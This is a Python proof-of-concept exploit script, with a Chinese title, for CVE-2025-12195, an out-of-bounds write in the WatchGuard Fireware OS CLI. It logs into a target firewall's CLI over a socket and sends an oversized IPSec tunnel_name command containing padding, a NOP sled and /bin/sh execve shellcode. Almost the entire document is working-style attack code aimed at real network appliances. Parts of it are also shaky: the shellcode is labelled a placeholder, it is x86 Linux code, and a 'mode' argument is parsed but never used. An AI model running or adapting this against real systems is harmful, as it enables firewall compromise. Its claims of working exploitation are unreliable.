CVE-2025-12195 WatchGuard Fireware OS CLI越界写入漏洞

# CVE-2025-12195 PoC - WatchGuard Fireware OS CLI Out-of-bounds Write # Target: WatchGuard Fireware OS CLI (IPSec configuration) # Requirement: Valid high-privilege credentials import socket import struct import sys def create_malicious_ipsec_config(): """ Generate malicious IPSec configuration command that triggers out-of-bounds write in CLI parser """ # Base command structure base_cmd = b"ipsec config " # Parameter name param_name = b"tunnel_name=" # Create oversized payload to trigger buffer overflow # The exact length depends on the vulnerable buffer size overflow_length = 1024 overflow_payload = b"A" * overflow_length # Add NOP sled for better exploitation nop_sled = b"\x90" * 64 # Shellcode for arbitrary code execution (Linux/ELF) # This is a placeholder - actual shellcode would be target-specific shellcode = ( b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) # Combine all parts malicious_payload = ( base_cmd + param_name + overflow_payload[:512] + nop_sled + shellcode + b"\x00" ) return malicious_payload def send_to_firewall_cli(target_ip, port, username, password, payload): """ Establish CLI session and send malicious payload """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, port)) # Receive initial prompt response = sock.recv(4096) print(f"[+] Received: {response.decode('utf-8', errors='ignore')}") # Login sequence sock.send(f"{username}\r\n".encode()) response = sock.recv(4096) sock.send(f"{password}\r\n".encode()) response = sock.recv(4096) # Send malicious IPSec configuration command print(f"[*] Sending malicious payload ({len(payload)} bytes)...") sock.send(payload + b"\r\n") # Wait for response/crash try: response = sock.recv(4096) print(f"[+] Response: {response.decode('utf-8', errors='ignore')}") except socket.timeout: print("[*] No response - possible crash/execution") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False def main(): if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_ip> <port> <username> <password> <mode>") print("Mode: test (just send payload) or exploit (full attack)") sys.exit(1) target_ip = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] mode = sys.argv[5] payload = create_malicious_ipsec_config() send_to_firewall_cli(target_ip, port, username, password, payload) if __name__ == "__main__": main()